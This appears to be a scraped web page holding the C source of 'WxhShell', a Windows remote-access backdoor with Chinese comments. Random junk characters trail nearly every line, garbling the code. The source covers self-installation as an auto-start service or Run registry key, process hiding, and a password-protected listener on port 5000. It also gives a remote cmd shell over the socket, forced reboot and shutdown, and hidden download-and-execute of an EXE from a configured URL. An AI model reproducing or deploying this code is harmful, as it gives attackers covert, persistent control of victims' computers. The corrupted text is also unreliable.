    if(Boot(SHUTDOWN)) G?c-79]U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3oy~=  
    else { q MYe{{r  
    closesocket(wsh); ^:=f^N=^  
    ExitThread(0); O) atNE   
    } . T JEUK  
    break; ?.=}pAub  
    } %?Y[Bk3p  
  // 获取shell Zw1U@5}A  
  case 's': { ~|ss*`CT  
    CmdShell(wsh); _+l1 b"^s1  
    closesocket(wsh); R(Kk{c:-@  
    ExitThread(0); q`NXJf=sc  
    break; J%lgR  
  } *J|(jdu7  
  // 退出 ``VW;l{  
  case 'x': { PQN@JaD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2i{cQ96  
    CloseIt(wsh); ikD1N  
    break; }~K`/kvs  
    } < 0M:"^f  
  // 离开 J (4"S o_  
  case 'q': { e=vsuqGT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3DgsI7-F  
    closesocket(wsh); uc7Eq45  
    WSACleanup(); ev1 W6B-a  
    exit(1); jHXwOJq %  
    break; ",aT WQgN  
        } 4(6b(]G'#  
  } S"Lx%  
  } )a@k]#)Skm  
9,j-V p!G  
  // 提示信息 b45|vX+j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BrRL7xX  
} -HSs^dP`  
  } 9O{b]=>wq  
tCxF~L@  
  return; h$eEn l}  
} (C4fG@n  
fb8%~3i>  
// shell模块句柄 ^7zu<lX  
int CmdShell(SOCKET sock) ['8!qr  
{ <)+y=m\eJ  
STARTUPINFO si; !EUan  
ZeroMemory(&si,sizeof(si)); lL1k.& |5m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "&Po,AWa  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =X.LA%Sf=u  
PROCESS_INFORMATION ProcessInfo; ][}0#'/mV  
char cmdline[]="cmd"; Eu"_MgD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y.KO :P?5{  
  return 0; jZ NOt  
}  V#VN %{  
)K &(  
// 自身启动模式 eX@L3BKp  
int StartFromService(void) g}@OUG"D  
{ %|s+jeUDn|  
typedef struct n:MdYA5,m  
{ jLg9H/w{  
  DWORD ExitStatus; (5]}5W*  
  DWORD PebBaseAddress; I? ,>DHUX  
  DWORD AffinityMask; "DYJ21Ut4  
  DWORD BasePriority; ;!(<s,c#:  
  ULONG UniqueProcessId; &b:1I 7Cp*  
  ULONG InheritedFromUniqueProcessId; lg^Z*&(  
}   PROCESS_BASIC_INFORMATION; @S|XGf  
,v"YqD+GC5  
PROCNTQSIP NtQueryInformationProcess; / m=HG^!  
UFMA:o,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XI^QF;,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X&kp;W  
1I:+MBGin  
  HANDLE             hProcess; 9T<x&  
  PROCESS_BASIC_INFORMATION pbi; ob8qe,_'  
;+"+3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nr<4M0tIp  
  if(NULL == hInst ) return 0; &Xf}8^T<V  
wb0L.'jyR)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <7~'; K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dkz=CY3p%X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v?geCe=ng  
@{2 5xTt  
  if (!NtQueryInformationProcess) return 0; r]6C  
Hl,W=2N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \.-bZ$  
  if(!hProcess) return 0; }~L.qG  
^~etm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o2F)%TDY  
J\b^)  
  CloseHandle(hProcess); nlc "c5;jh  
vw9@v`k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I`!<9OTBj  
if(hProcess==NULL) return 0; F'21jy&  
NPp;78O0[  
HMODULE hMod; JJN.ugT}1  
char procName[255]; 9w7n1k.  
unsigned long cbNeeded; 2fL;-\!y(  
eceP0x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5j?3a1l0  
J| w>a  
  CloseHandle(hProcess); = %TWX[w  
FOE4>zE  
if(strstr(procName,"services")) return 1; // 以服务启动 &OH={Au  
I=`U7Bis"  
  return 0; // 注册表启动 e w$ B)W  
} VAHh~Q6 ;e  
vg32y /l]S  
// 主模块 u0 `S5?  
int StartWxhshell(LPSTR lpCmdLine) (@fHl=! Za  
{ GjvOM y  
  SOCKET wsl; I&x=;   
BOOL val=TRUE; $Nhs1st*8  
  int port=0; W{ q U  
  struct sockaddr_in door; qm/22:&v5  
)vE~'W  
  if(wscfg.ws_autoins) Install(); ;DfY#-  
Ng2twfSl$  
port=atoi(lpCmdLine); iP ->S\  
nAsh:6${  
if(port<=0) port=wscfg.ws_port;  iu=7O  
)q8pk2  
  WSADATA data; d:C'H8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vXrx{5gz  
y51e%n$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?BeiY zg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7x|9n  
  door.sin_family = AF_INET; $ r@zs'N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "jKY1* ?  
  door.sin_port = htons(port); N/"{.3{W  
BYL)nCc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /[ 5gX^A  
closesocket(wsl); wDal5GJp  
return 1; 2lH&  
} gwuI-d^  
'CM|@Zz%  
  if(listen(wsl,2) == INVALID_SOCKET) { [ )Iv^ U9  
closesocket(wsl); l *(8i ^  
return 1; NX*Q F+  
} 7W Ly:E"  
  Wxhshell(wsl); _^Ubs>d=*  
  WSACleanup(); /$Nsd  
e5ZX   
return 0; EIP /V  
r= `Jn6@  
} l`lk-nb  
i#n0U/  
// 以NT服务方式启动 !Iy_UfW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iy.p n  
{ y&$A+peJ1  
DWORD   status = 0; s%7t"-=&  
  DWORD   specificError = 0xfffffff; pK>N-/?a  
?=sDM& '  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #jvtUS\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b|:YIXml  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I3L<[-ZE  
  serviceStatus.dwWin32ExitCode     = 0; 8b& /k8i:  
  serviceStatus.dwServiceSpecificExitCode = 0; ]m3HF&  
  serviceStatus.dwCheckPoint       = 0; N)X3XTY  
  serviceStatus.dwWaitHint       = 0; sUO`uqZV  
PO: {t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W aRw05r  
  if (hServiceStatusHandle==0) return; &jJL"gq"  
L ca}J&x]^  
status = GetLastError(); AO4U}?  
  if (status!=NO_ERROR) +5*95-;0  
{ q6luUx,@m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; eF$x1|  
    serviceStatus.dwCheckPoint       = 0; K\Wkoi5  
    serviceStatus.dwWaitHint       = 0; M'O <h  
    serviceStatus.dwWin32ExitCode     = status; %YscBG  
    serviceStatus.dwServiceSpecificExitCode = specificError; VscE^'+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ynj,pl  
    return; A}9`S6@@  
  } .uZ3odMlx  
(y~TL*B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kVMg 1I@  
  serviceStatus.dwCheckPoint       = 0; 7>%8eEc  
  serviceStatus.dwWaitHint       = 0; j</: WRA`]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N =}A Z{$  
} D/&o& G96  
E{`fF8]K  
// 处理NT服务事件,比如:启动、停止 f}P3O3Yv&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K+3=tk]W9u  
{ FcU SE  
switch(fdwControl) 14yv$,  
{ Ow,w$0(D  
case SERVICE_CONTROL_STOP: "<1{9  
  serviceStatus.dwWin32ExitCode = 0; oD .Cs'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~B?y{  
  serviceStatus.dwCheckPoint   = 0; dR,fXQm  
  serviceStatus.dwWaitHint     = 0; Zb>?8  
  { ;?p>e'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]{@-HTt  
  } yvB.&<]No  
  return; sUQ@7sTj  
case SERVICE_CONTROL_PAUSE: ?CPahU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BW4J>{  
  break; n{mfn *r.  
case SERVICE_CONTROL_CONTINUE: )3EY;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2^ nxoye  
  break; vA8nvoi  
case SERVICE_CONTROL_INTERROGATE: `d}2O%P  
  break; jQB9j  
}; @:#eb1 <S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); + cN8Y}V  
} b8 likP"T  
_-g&PXH  
// 标准应用程序主函数 @\#td5'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -[.[>&`/  
{ eng'X-x  
`b$.%S8uj=  
// 获取操作系统版本 xwo<' xT  
OsIsNt=GetOsVer(); ZD{LXJ{Vm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *$g-:ILRuZ  
&D*b|ilvc  
  // 从命令行安装 oCz/HQoBk  
  if(strpbrk(lpCmdLine,"iI")) Install(); &tj!*k'  
8$}<, c(  
  // 下载执行文件 zTU0HR3A  
if(wscfg.ws_downexe) { Gk6iIK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q^")jPd  
  WinExec(wscfg.ws_filenam,SW_HIDE); eJ-nKkg~a  
} |yPu!pfl  
o66}yJzmD  
if(!OsIsNt) { N;`n@9BF  
// 如果时win9x,隐藏进程并且设置为注册表启动 EADqC>  
HideProc(); x[e<} 8'$(  
StartWxhshell(lpCmdLine); VI *$em O0  
} k!Y, 63V=  
else DN6Mo<H  
  if(StartFromService()) 9hyn`u.  
  // 以服务方式启动 4o5t#qP5$S  
  StartServiceCtrlDispatcher(DispatchTable); sRb9`u =)  
else 2D5StCF$O  
  // 普通方式启动 u=e{]Ax#}  
  StartWxhshell(lpCmdLine); 'LDQgC*%  
7b+6%fV  
return 0; ,eS)e+yzc2  
} =Dj#gV  
-XG@'P_  
S3J^,*'  
2&cT~ZX&'  
=========================================== f _:A0  
)boE/4  
M<&= S  
{P-):  
\Vk:93OH21  
UPGtj"2v-  
" 'Pbr v  
eyxW 0}[  
#include <stdio.h> ^<6[.)  
#include <string.h> /x *3}oI  
#include <windows.h> |N]XJ)?  
#include <winsock2.h> *m(=V1"  
#include <winsvc.h> 7t3!) a|lI  
#include <urlmon.h> qe\5m.k  
n=q 76W\  
#pragma comment (lib, "Ws2_32.lib") *n!J=yS  
#pragma comment (lib, "urlmon.lib") ia? c0xL  
vih9 KBT  
#define MAX_USER   100 // 最大客户端连接数 fN2lLn9/u  
#define BUF_SOCK   200 // sock buffer 2~2 O V  
#define KEY_BUFF   255 // 输入 buffer 8 FhdN  
w!XD/j N  
#define REBOOT     0   // 重启  Fk;Rfqq  
#define SHUTDOWN   1   // 关机 y B$x>Q'C(  
d_P` qA  
#define DEF_PORT   5000 // 监听端口 GA.8@3  
;FEqe 49  
#define REG_LEN     16   // 注册表键长度 moE2G?R  
#define SVC_LEN     80   // NT服务名长度 HbIF^LeY|R  
3(UVg!t  
// 从dll定义API D m9sL!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p K$`$H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]_$[8#kg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .S4u-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _VXN#@y  
"wc<B4"  
// wxhshell配置信息 +H2Qk4XFB  
struct WSCFG {  AOx[  
  int ws_port;         // 监听端口 yh=N@Z*zP  
  char ws_passstr[REG_LEN]; // 口令 @j/&m]6%-D  
  int ws_autoins;       // 安装标记, 1=yes 0=no i@'dH3-kO  
  char ws_regname[REG_LEN]; // 注册表键名 K,UMqAmk  
  char ws_svcname[REG_LEN]; // 服务名 z?//rXuO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fXB0j;A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `$NP> %J-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b`_Q8 J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 048kPXm`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V43H /hl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B/C,.?Or  
[ /ZO q  
}; MO]&bHH7;  
Xm&L B X  
// default Wxhshell configuration c`Wa^(  
struct WSCFG wscfg={DEF_PORT, [Nq*BrzF  
    "xuhuanlingzhe", .e5Mnd%$M  
    1, 9!tW.pK5  
    "Wxhshell", 92-I~ !d  
    "Wxhshell", ?fS9J  
            "WxhShell Service", 8XbT`y  
    "Wrsky Windows CmdShell Service", y> (w\K9W  
    "Please Input Your Password: ", i?;Kq~,  
  1, B?wq=DoG  
  "http://www.wrsky.com/wxhshell.exe", /7LR;>Bj  
  "Wxhshell.exe" <\FH fE  
    }; LHmZxi?  
SY8C4vb'h  
// 消息定义模块 F5#YOck&,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nF/OPd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _aMF?Pj~m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tI{_y  
char *msg_ws_ext="\n\rExit."; MY/}-* |  
char *msg_ws_end="\n\rQuit."; y3ikWnx  
char *msg_ws_boot="\n\rReboot..."; A(N4N  
char *msg_ws_poff="\n\rShutdown..."; )_NO4`ejs/  
char *msg_ws_down="\n\rSave to "; \(T /O~b2  
D3A/l  
char *msg_ws_err="\n\rErr!"; u2[w#   
char *msg_ws_ok="\n\rOK!"; s<o7!!c  
[8*)8jP3  
char ExeFile[MAX_PATH]; %07SFu#  
int nUser = 0; Ca3~/KrM  
HANDLE handles[MAX_USER]; s9d_GhT%-  
int OsIsNt; 9k=3u;$v  
3k?X-|O8AZ  
SERVICE_STATUS       serviceStatus; D,ln)["xm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '%`:+]!  
=I~mKn  
// 函数声明 bYPKh  
int Install(void); ;S*}WqP,  
int Uninstall(void); 3yXY.>'  
int DownloadFile(char *sURL, SOCKET wsh); ]0\MmAJRn  
int Boot(int flag); x3krbUlx  
void HideProc(void); xP,hTE  
int GetOsVer(void); F}q c0  
int Wxhshell(SOCKET wsl); ?R#)1{(8d~  
void TalkWithClient(void *cs); as_PoCoss  
int CmdShell(SOCKET sock); -PQv ?5  
int StartFromService(void); V2G6Kw9gt  
int StartWxhshell(LPSTR lpCmdLine); @ry_nKr9  
z$xo$R(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IaXeRq?<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N.{D$"  
&8 x-o,  
// 数据结构和表定义 K96<M);:g  
SERVICE_TABLE_ENTRY DispatchTable[] = +?!(G}5  
{ WeiFmar  
{wscfg.ws_svcname, NTServiceMain}, pV"R|{#V  
{NULL, NULL} VU d\QR-  
}; I 2|Bg,e  
_#h_:  
// 自我安装 &9)\wnOS  
int Install(void) $p?aVO  
{ 680o)hh4m>  
  char svExeFile[MAX_PATH]; abLnI =W`  
  HKEY key; 5[u]E~Fl}  
  strcpy(svExeFile,ExeFile); 9 |vLwQ  
hfy_3}_  
// 如果是win9x系统,修改注册表设为自启动 d{7 +w/Zi  
if(!OsIsNt) { 6f*CvW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1 Ya`| ?FS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,Vk3kmuvr]  
  RegCloseKey(key); NPe%F+X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Tyf`j,=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W1=H8 O  
  RegCloseKey(key); 2V;PYI  
  return 0; n#OB%@]<V  
    } %Qdn  
  } d4c8~L H-  
} 5,6"&vU,  
else { 3x'|]Ns  
*itUWpNhr  
// 如果是NT以上系统,安装为系统服务 eM?I$ePTN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d,n 'n  
if (schSCManager!=0) *6DB0X_-}  
{ -:y,N 9^  
  SC_HANDLE schService = CreateService h|{]B,.Lh  
  ( JB[~;nLlC  
  schSCManager, -fHy-Oh  
  wscfg.ws_svcname, =mp;.k95  
  wscfg.ws_svcdisp, l#Y,R 0  
  SERVICE_ALL_ACCESS, y ~!Zg}o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k5.Lna  
  SERVICE_AUTO_START, Ks`J([(W&  
  SERVICE_ERROR_NORMAL, )"aV* "  
  svExeFile, ^N{h3b8  
  NULL, &H/'rd0M  
  NULL, GM f `A,>  
  NULL, nwRc%C``UK  
  NULL, "8jf81V*  
  NULL ieCEo|b  
  ); 0Y{yKL  
  if (schService!=0) ]tRu2Ygf  
  { ;LSANr&  
  CloseServiceHandle(schService); c>:wd@w  
  CloseServiceHandle(schSCManager); T{ XS")Vw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ARwD~ Tr  
  strcat(svExeFile,wscfg.ws_svcname); hxd`OG<gF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,,Q O^j]4~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f=gW]x7'R+  
  RegCloseKey(key); Y}|X|!0x  
  return 0; ;1O_M9  
    } x vl#w  
  } /,&<6c-Q@W  
  CloseServiceHandle(schSCManager); %JD,$p Ps  
} gANuBWh8T  
} {|_M # w~&  
^-Kf']hU  
return 1; {xB!EQ"  
} f:|1_j  
q{I%Q)t)gU  
// 自我卸载 QIvVcfM^  
int Uninstall(void) j0S# >t  
{ 6x[}g  
  HKEY key; )<;Y-u.UW  
]kRfB:4ED  
if(!OsIsNt) { Ln<`E|[29  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |[ k.ii6iO  
  RegDeleteValue(key,wscfg.ws_regname); BsqP?/  
  RegCloseKey(key); \lf;P?M^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x_6[P2"PP  
  RegDeleteValue(key,wscfg.ws_regname); {V$|3m>:*  
  RegCloseKey(key); }c`"_L  
  return 0; 8Pn#+IvCE  
  } mD0f<gJ1  
} m=A(NKZ   
} M!A}NWF  
else { A8fOQ  
;F!5%}OcL%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iWB=sL&p  
if (schSCManager!=0) aS{n8P6vW  
{ z/WE,R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [.'|_l  
  if (schService!=0) <+Dn8  
  { 3<Zq ]jk?n  
  if(DeleteService(schService)!=0) { bv9i*]  
  CloseServiceHandle(schService); gG:Vt}N  
  CloseServiceHandle(schSCManager); EQyC1j  
  return 0; LX7FaW  
  } '4Ixqb+  
  CloseServiceHandle(schService); 4Lh!8g=/  
  } [.8BTj1%  
  CloseServiceHandle(schSCManager); %C'?@,7C  
} ?'Xj g#}<  
} ]kG"ubHV?h  
zyc"]IzOU  
return 1; c~$)UND^  
} o]` *M|  
@+M /&  
// 从指定url下载文件 KL:j?.0  
int DownloadFile(char *sURL, SOCKET wsh) X_ cV%#  
{ {M$1N5Eh  
  HRESULT hr; 3yY}04[9<  
char seps[]= "/"; q J=~Y|(  
char *token; /-ch`u md  
char *file; /vde2.|  
char myURL[MAX_PATH]; w%VU/6~  
char myFILE[MAX_PATH]; tl4V7!U@^z  
=J]]EoX/  
strcpy(myURL,sURL); ,p@y] cr  
  token=strtok(myURL,seps); *,)Md[  
  while(token!=NULL) :q7Wy&ow  
  { k\YG^I  
    file=token; UcDS9f_87  
  token=strtok(NULL,seps); *_{j=sd  
  } [vK ^Um  
*{@Nq=fE  
GetCurrentDirectory(MAX_PATH,myFILE);  u\x}8pn  
strcat(myFILE, "\\"); P*Uwg&Qz)  
strcat(myFILE, file); OwUhdiG  
  send(wsh,myFILE,strlen(myFILE),0); 5\sd3<:+  
send(wsh,"...",3,0); +L| ?~p`V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /y#f3r+*2  
  if(hr==S_OK) [f-?y mmT  
return 0; mpEK (p  
else Sh~dwxp*"  
return 1; }6}l7x  
r CHl?J  
} JEwa &  
@=Uh',F  
// 系统电源模块 d(x\^z  
int Boot(int flag) A*R^n}sh  
{ }b"yU#`Q\  
  HANDLE hToken; }wjw:M  
  TOKEN_PRIVILEGES tkp; Mzw<{*:r  
cAqLE\h  
  if(OsIsNt) { vq0Tk bzs  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2dcV"lY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  E`0?  
    tkp.PrivilegeCount = 1; UA0Bzoky;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9y8&9<#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S6M}WR^,  
if(flag==REBOOT) { +nhLIO{{L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g i-$Z FzB  
  return 0; R)( T^V`{  
} omu|yCK  
else { ufZDF=$7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =/+-<px  
  return 0; j'<<4.(  
} D~fl JR  
  } b-?gw64#  
  else { sPQQ"|wU  
if(flag==REBOOT) { ) 0W{]2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xJvmhN/c  
  return 0; m@F`!qY~Y\  
} Q&ptc>{bH6  
else { x8\?}UnB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JCzeXNY  
  return 0; =sU<S,a*  
} D~iz+{Q4  
} -1_)LO&H  
$q{!5-e  
return 1; _QE qk@ql  
} m%?pf2%I#  
xY8$I6  
// win9x进程隐藏模块 t]g-CW 3  
void HideProc(void) o5O#vW2Il&  
{ (k)v!O-  
ww3-^v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z`}qkbvi  
  if ( hKernel != NULL ) *3FKt&v 0  
  { 2'\H\|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dNH08q8P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g \:[ 55;8  
    FreeLibrary(hKernel); 1~`fVg  
  } HTS0s\R$  
uc\Kg1{  
return; \<>ih)J@tt  
} 7wqK>Y1a  
[`[|l  
// 获取操作系统版本 #&k5 d:  
int GetOsVer(void) JPUW6e07o  
{ a :`E0}C  
  OSVERSIONINFO winfo; 8z`G,qh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A#<?4&  
  GetVersionEx(&winfo); V>LwqS~`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .},'~NM]  
  return 1; yNo0ubY  
  else *W1dG#Np}  
  return 0; F6|]4H.3Q  
} 1D7 `YKI9h  
[Ek7b *  
// 客户端句柄模块 o5GcpbZ3k  
int Wxhshell(SOCKET wsl) (@VMH !3  
{ LEf^cM=>  
  SOCKET wsh; D%SlAzZ3  
  struct sockaddr_in client; X-Kh(Z  
  DWORD myID; 2(+2+ }  
n\'4  
  while(nUser<MAX_USER) 1#2 I  
{ B{#I:Rs9  
  int nSize=sizeof(client); (gU!=F?#m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T/~f~Zz  
  if(wsh==INVALID_SOCKET) return 1; Bahm]2  
|F[+k e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KqJs?Won  
if(handles[nUser]==0) 50wulGJud  
  closesocket(wsh); s`8= 3]w  
else #L;dI@7C  
  nUser++; 69NeQ$](  
  } {duz\k2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }C?'BRX  
2\{M:\2o  
  return 0; 7U"g3 a)=  
} itP,\k7>d  
qgHWUwr+n  
// 关闭 socket AKfDXy  
void CloseIt(SOCKET wsh) 8MtGlW%Eh  
{ "m8^zg hL  
closesocket(wsh); @n /nH?L  
nUser--; ~jk|4`I?T  
ExitThread(0); tw/dD +  
} 9:|{6_Y  
#q$HQ&k  
// 客户端请求句柄 ()?(I?II  
void TalkWithClient(void *cs) n;_sG>N  
{ v{N`.~,^  
u4?L 67x  
  SOCKET wsh=(SOCKET)cs; _< V)-Y  
  char pwd[SVC_LEN]; F~W6Bp^W  
  char cmd[KEY_BUFF]; ueWEc^_>  
char chr[1]; AW_(T\P:u  
int i,j; oA7;.:3  
~ ! 3I2  
  while (nUser < MAX_USER) { O QT;zqup  
#u"k~La  
if(wscfg.ws_passstr) { wX[8A/JPD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mc_ch$r!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *R3f{/DK  
  //ZeroMemory(pwd,KEY_BUFF); 6s\Kt3=  
      i=0; RIE5KCrGB  
  while(i<SVC_LEN) { & )vC;$vD`  
T ;vF(  
  // 设置超时 Nwt" \3  
  fd_set FdRead; (+u39NQV  
  struct timeval TimeOut; *l;B\=KR  
  FD_ZERO(&FdRead); 0B&Y ]*  
  FD_SET(wsh,&FdRead); N:tY":Hi  
  TimeOut.tv_sec=8; IlE_@gS8  
  TimeOut.tv_usec=0; =gvBz| +  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XC "'Q+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :.d:9Z|_  
_5m#2u51i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DUe&r,(4O  
  pwd=chr[0]; ;3@YZM'wt  
  if(chr[0]==0xd || chr[0]==0xa) { .E&z$N  
  pwd=0; Ru>uL@w  
  break; HXYRH  
  } _uKZMl  
  i++; T<@cd|`  
    } "+ >SJ~  
E+tB&  
  // 如果是非法用户,关闭 socket .8uz 6~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _s$_Sa ;  
} :%AL\ n  
ZP$-uaa-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zBp{K@U[|M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U{$1[,f  
+|{RE.DL  
while(1) { $GQ-(/  
qdG~!h7j  
  ZeroMemory(cmd,KEY_BUFF); iy\nio`  
;v~-'*0  
      // 自动支持客户端 telnet标准   |*X*n*oI  
  j=0; K+)%KP  
  while(j<KEY_BUFF) { zYv#:>C8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?D)<,  
  cmd[j]=chr[0]; TLf9>= OVh  
  if(chr[0]==0xa || chr[0]==0xd) { x]{E)d"!  
  cmd[j]=0; j0GMTri3  
  break; Z!&Rr~i <  
  } G"59cv8z4R  
  j++; -MugnB6  
    } u=NS sTP&  
j9U%7u]-k  
  // 下载文件 qXW})(  
  if(strstr(cmd,"http://")) { dg7=X{=9jv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KZ e)K_1[  
  if(DownloadFile(cmd,wsh)) `L5~mb;7*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h~,JdDV8l*  
  else qr50E[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]$ b<Gs  
  } iH2n.M "  
  else { m&0"<V!H/B  
"SoHt]%#  
    switch(cmd[0]) { 5ZPzPUa8~  
  's!-80sd  
